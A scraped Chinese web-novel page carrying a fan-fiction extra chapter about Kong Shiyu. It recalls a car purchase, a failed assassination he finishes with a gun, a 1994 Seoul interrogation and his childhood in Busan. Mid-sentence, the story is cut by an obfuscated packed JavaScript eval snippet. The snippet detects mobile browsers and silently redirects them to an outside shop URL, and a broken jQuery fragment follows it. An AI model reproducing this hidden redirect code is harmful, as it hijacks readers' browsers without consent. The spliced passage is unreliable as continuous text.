文趣网 > 都市小说 > 天与咒缚不会死 > 30.番外5-孔时雨[番外]
    羽田机场。第二航站楼,国际线,登机口附近。

    航班延误两小时。广播用日语、英语、韩语轮播了三遍。

    孔在登机口对面的椅子上坐下来。深灰色西装,黑色皮鞋,小型登机箱搁在脚边。路过便利店时随手买的咖啡,放在椅子的扶手槽里没动过。

    烟瘾上来了。

    吸烟室在另一头,要绕过中央通道。他站起来。

    右手伸进西装裤口袋摸打火机,手指碰到口袋的布料,又往里一点——

    停住了。

    那个位置什么都没有。

    他知道这一条西装裤没有内袋。这一条没有,上一条也没有,上上一条也没有。十几年来他穿过的所有裤子都没有那个袋子。

    他的手停在那个位置一秒,然后收回来。

    前面走过去一对老夫妻。男的拎着女的的小包。女的在看登机牌,皱着眉,说了一句什么,听不清。

    广播又响了一次。

    孔抬起头,看了一眼远处跑道上的飞机。

    傍晚的光在窗外,被玻璃过滤过,落在地板上。

    ——

    2003年。

    “预算?”

    “六百左右。”

    “新车?”

    “二手的也可以。”

    “用途?”

    “工作需要,所以”

    “啊——要不显眼的。”

    “是的。”

    那家店在东京郊外,环七线边上。下午三点多。秋天。银杏叶已经黄了一半,但还没掉。

    店主姓中田。五十多岁,穿一件不太干净的深蓝色工装,袖子卷到手肘。

    车停在车库最里面。

    银灰色,丰田皇冠,1998年款。两位前任车主——第一任是一家小型贸易公司的老板,开了三年。第二任是那位老板的女婿,开了两年。

    孔点点头。没说话。

    他沿着车身走了一圈。车漆没什么划痕。有几处补过,但补得很好,远看看不出来。轮胎换过。底盘是干净的。

    他蹲下,看了看排气管的内壁。

    中田站在旁边。

    打开引擎盖。机油的颜色还可以。皮带是新的——半年前换的,中田说。冷却液干净。

    合上引擎盖。

    拉开驾驶座的车门。坐进去。

    车内是布座椅,深灰色。方向盘磨得有些光滑——前任车主习惯左手握十点钟的位置,那里的皮纹比别处淡。仪表盘很简单,模拟指针,数字小小的。中央扶手箱里干净。后视镜——他扶了一下,调整到自己的视线。

    座椅。他往后调了一格。

    然后停了一下,又往后调了一格。比他的腿需要的远一点点。

    手放在方向盘上。十点钟的位置。和前任车主的手印重叠。

    “这个不错。”他说。

    中田点头。

    现金付款。孔时雨从公文包里数钱出来,八扎,放在中田事务所那张木桌上。中田没数,只是看了一眼,然后把车钥匙放在桌上。

    “今后也请多关照。”

    “谢谢。”

    开出车库时是四点过五分。夕阳从环七线西边的方向照过来,打在挡风玻璃上。他把遮阳板放下来。

    开了五分钟,在一个红灯前停下。

    他从口袋里掏出烟,七星,点上一根,深吸一口。

    烟头的灰掉在车里某个位置,脚垫,或者中央扶手箱的边缘。他没擦。

    红灯变绿。

    这辆车里的第一根烟。

    ——

    2001年。

    那个咒术师姓松本——不重要,他后来再没听过这个名字。一个咒力中等的诅咒师,身边养着一只贴身咒灵,业内常见的,低级,反应型。

    执行人是大阪来的,姓什么也不重要。介绍人说“是个老手”。孔自己见到的时候,觉得也就那么回事。三十出头,精瘦,眼神有点散。带了一把咒具——一把短刀。

    委托人要求确认对方身份,要孔自己去看一眼。

    孔答应了。多收了一笔确认费。

    过了晚上九点。埼玉。荒川支流边上的一片旧工业区,三十年前关掉的化工厂,现在只剩下水泥地、生锈的铁皮厂房、一条沿着河的步道。夜里没有人。远处一座小桥上偶尔有车经过,灯光从桥上扫过来。

    松本以为是来谈一笔生意。地点是孔通过中间人定的。

    孔的车停在堤岸上方的路边。从堤岸往下看,步道在水边,两边的厂房黑着。

    九点二十分。松本从步道东边走过来。一个人。穿一件灰色风衣,手里拎着一个小公文包。

    孔在车里看了一眼——

    是他。

    松本身边贴着那只咒灵,形态像一只小动物,蜷在他肩膀附近,半透明,压感稀薄。低级。孔判断过。执行人也判断过——执行人之前看过孔提供的情报里的描述,自己又远远看过一眼,确认了。

    按低级伴生咒灵的协议:咒灵反应型,主人受到攻击时会动手。用附咒短刀,从背后或侧面快速近身,一刀解决主人。咒灵显形之前主人已经死了。咒灵失去主人,会自行消散。

    这套协议执行人做过很多次。

    孔点头。

    执行人从车后下到堤岸下面的步道,沿着河边的暗处走过去。

    孔留在堤岸上。车窗摇下来一点。右手放在腰后。

    松本走到步道中段。

    执行人从他后方靠近。三米,两米,一米——

    松本回头,大概听到了脚步。

    “你——”

    执行人已经在挥刀。

    这一刀该直接砍到松本的颈侧。

    但那只咒灵显形了。

    不是低级。

    肩膀上那团稀薄的影子胀开,瞬间变成一团黑色的压感,半径两米,密度像一面墙。咒灵的级别从低级跳到了准一级——“压制式伴生”。

    有些咒术师会从小压制自己的咒灵,平时看起来弱小,危急时才释放真实级别。孔听说过,这是他第一次看到。

    执行人的刀撞上那面墙——

    咒灵的压感把执行人推开,刀从手里飞出去,落在水边。

    执行人后退,撞在堤岸的水泥墙上,滑下去半截。

    松本转身——

    那一秒,孔的右手已经从腰后抬起来。

    堤岸上方。距离十几米。

    一枪。

    松本倒下去。

    那团黑色压感停滞了一瞬,主人死了,它开始变得稀薄,慢慢散开,消失了。

    河边只剩下水声。远处桥上一辆车经过,灯光扫了一下,又黑了。

    执行人坐在堤岸下,半天没起来。

    孔从车里下来,沿着堤岸的水泥台阶走下去,蹲在松本旁边,看了一下。

    死了。

    他站起来。把枪收回腰后。

    “走了。”

    执行人爬起来,跟着孔上了堤岸。两个人上了孔租的车,倒出工业区,开了一段,在一家二十四小时便利店附近的停车场停下。

    凌晨一点多。便利店的灯亮着。停车场没别的车。

    执行人坐在副驾驶。他说,“那个……”

    孔点烟。

    “抱歉,那个……”

    孔吸了一口。烟雾弥散在车里。

    “下回。”他说,“别让中介人做这种事啊。”

    执行人没接话。

    “你的佣金,扣三成。”

    执行人嘴动了一下,想说什么,但没说出来。他点了一下头。

    “明白。”

    孔把烟掐在车窗外。

    他启动车子,送执行人到新宿。一路没人再说话。

    放下执行人之后,孔自己开车回当时住的地方,一个月租的小公寓,在荒川附近。他停好车,上楼,洗手,把那把枪拆开,擦干净装好,放进抽屉。

    然后坐在窗边,又抽了一根烟。

    窗外是凌晨两点多的东京。远处某条铁路上有一列货运列车经过。

    他想了一下“别让中介人做这种事”这句话。

    然后不想了。

    睡觉。

    ——

    1994年。

    首尔。

    那天的班是孔和姜组长一起。姜组长比孔大十六岁。八十年代中后期在治安本部做过事——南营洞的那种部门,特别审讯室。后来被调出来,降到地方所做刑事。降下来以后,姜组长就一直在这个所里,没再升。

    那天有个大学生,二十出头,涉嫌发传单。

    民主化以后这类案子不该再做了。但有些案子,做和不做之间,还有一个灰色地带。姜组长接的就是那种灰色地带的案子。

    审讯室是地下一层。

    孔站在走廊里。

    走廊尽头的窗户开着一条缝,外面是后院的水泥地。夜里下过雨,水泥地是黑的。

    姜组长在审讯室里。门关着,但门下面有一道光。

    孔点了一根烟。

    过了一会儿,姜组长出来。手里拿着自己的烟。

    两个人没说话。姜组长把打火机递过来。

    “火。”

    孔本来已经点了。但他还是接过来,打了一下,递回去。

    姜组长点上烟,深吸了一口。

    两个人并排站在走廊窗户边。两支烟头的红点,亮一下,暗一下。

    后院的水泥地上有一只猫走过去。

    姜组长把烟抽完了,扔在地上踩灭,转身进了审讯室。

    门在他身后关上。

    孔在走廊里又抽了一根。

    审讯室里的声音不大。桌子被撞了一下,椅子拖过水泥地的声音,姜组长低声的喝问。听不清话,听得清节奏。

    没有惨叫。

    姜组长是老手了,知道分寸。该让对方叫出来的时候让对方叫出来,该不让叫的时候不让叫。这个晚上的程度,不让叫。

    孔抽完第二根。

    又抽了第三根。

    审讯室的门开了。姜组长出来,在裤子上擦了一下手。

    “结束了。”他说。

    孔点了点头。两个人回值班室。

    值班室在二楼。日光灯是暖黄色的,老式的,嗡嗡响。木桌子,上面有一台旧的电脑,屏幕暗着。

    孔在自己的桌子上写笔录。

    姜组长走到对面的椅子上坐下来。从抽屉里拿出一个搪瓷杯,倒了一点冷掉的茶,喝了一口。

    圆珠笔在纸上走。窗外没有声音。

    过了一会儿,姜组长说——

    “时雨啊,人生是美丽的,对吧?”

    孔没抬头。

    他写完那一行字,把笔放下。

    “对。”

    姜组长点了一下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565919|202172||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头。他站起来,把搪瓷杯放回抽屉,走出值班室。

    孔继续写笔录。

    笔录写完是凌晨三点多。他签了字,放进文件夹,锁进柜子。

    走出警局的时候,雨已经停了。后院的水泥地还是黑的。他走回宿舍,洗澡,睡觉。

    那一年姜组长五十一岁。

    那一晚之后他又干了七年。退休前的最后一年,在自己家里上吊。家里人没声张,讣告上写“病故”。

    孔那时候已经在日本了。听到消息是一个月以后,通过以前一个同事的电话。电话挂掉以后,孔在自己的公寓里站了一会儿。

    然后去厨房倒了一杯水,喝完。

    睡觉。

    ——

    1989年。

    兵役。某个夜班。

    部队在江原道,靠近东海岸的某个步兵营,冬天冷得像石头一样的地方。现在是夏天,八月,夜里也热。

    值班室的灯熄了一半,只开了门边的那一盏,光线昏黄。其他兵都在睡觉。孔在桌子上写东西。

    写信。

    写了几行,停下来,放下笔,右手伸进制服裤子的内袋。

    那个袋子还在。新发的那一批制服,内袋还是有的。后来某一批改版以后没了——但那是退伍以后的事了。

    袋子里有一张折了几折的照片。

    他拿出来,摊开。

    淡黄色的连衣裙。

    是夏天,地铁站前的台阶,她在笑。

    脸已经看不清楚。照片摆放过太多次,纸面那块磨白了。但她在笑。淡黄色的裙摆,到膝盖下面,白袜子,黑皮鞋。手里抱着一个小包。头发中分,长度到肩膀,卷了一点。

    孔看了一会儿,把照片折回去,放回袋子。

    把信折好,也放进袋子。

    没寄。

    那一晚之后,他没再写过信给她。

    几个月以后,他不记得是哪一晚,她从首尔寄来一封信。

    “时雨啊,我们就此结束吧。”

    他回信说:

    “好。”

    退伍以后他没去找她,她也没来找过他。她大学毕业,去了一家公司,大概结婚了——他后来听同学说起过一两次,具体的没问。

    那张照片他不记得是什么时候丢掉的。可能是新发制服的时候——内袋没有了,他换了裤子,某个口袋里的东西就转移了又转移,到最后转移不动了,就不见了。

    也可能更晚。也可能更早。

    记不准了。

    ——

    1975年。

    釜山。某个夏末。孔六岁,或者七岁。

    公寓楼下的街口。

    太阳已经落到楼背后了。天色红着。

    三级水泥台阶,最下面一级有一道裂缝。孔蹲在第二级上。

    他手里捏着一颗石子,灰白色,边缘磨圆了,可能是从港口的方向被风带上来的。

    他什么都不做,蹲在那里。

    街上有人走过去。一辆自行车骑过去,车铃响了一下。楼上某家电视里在放新闻,声音很小,主播在讲什么,听不清。

    海风从某条街的方向吹过来。带一点咸味。

    街对面,小卖部的旁边,墙根下面——

    有一个东西。

    不大,黏糊糊的。颜色说不上来——像是空气厚了一块,又像是有一团什么影子贴在墙根上。像是有五官,又像是没有。它没在动,但它在那里。

    孔看了一眼,没站起来。

    街对面卖鱼干的奶奶坐在自己的小凳子上,正在打瞌睡。她没看见。

    骑自行车的人没看见。

    爸爸下午就出门了,不知道在哪里。妈妈在楼上。

    孔知道,他知道得很清楚,他们都看不见。

    他知道得也很清楚,如果他喊妈妈看,妈妈会担心。像以前一样,“这孩子……”

    他没喊。

    他把石子放在水泥台阶上。

    然后一只红蜻蜓飞过来。

    他伸出右手,指尖朝上,慢慢靠近。

    蜻蜓没动。

    蜻蜓爬到他的手指上。

    它的脚很轻,比他想象的轻。

    红色的,翅膀透明,贴着背收起来,像玻璃。

    蜻蜓的眼睛又大又圆,黑亮看不到底。它没看他。它看着街对面的某个方向——可能是那个东西的方向,也可能不是。

    孔没动。

    它停了一会儿,然后翅膀振了一下——

    飞走了。往楼后面的方向。

    天色还红着。

    街对面墙根下,那个东西还在原地。或者已经不在了。

    他没再看一眼。

    就在这时候——

    “时雨啊——”

    妈妈的声音从楼上的阳台飘下来。

    “吃饭了——”

    孔站起来。

    “好——”

    他答应了一声。

    石子留在台阶上。他跑进楼道,水泥楼梯踏着回声,一级一级往上,膝盖上一块痂被擦了一下,有点疼,他没在意。

    楼上飘出海带汤的味道。

    海带的香气,牛肉的香气,一点点酱油的香气,一点点蒜的香气。

    他推开门。

    “妈妈——”

    妈妈在厨房里。

    “去洗手。”

    “嗯——”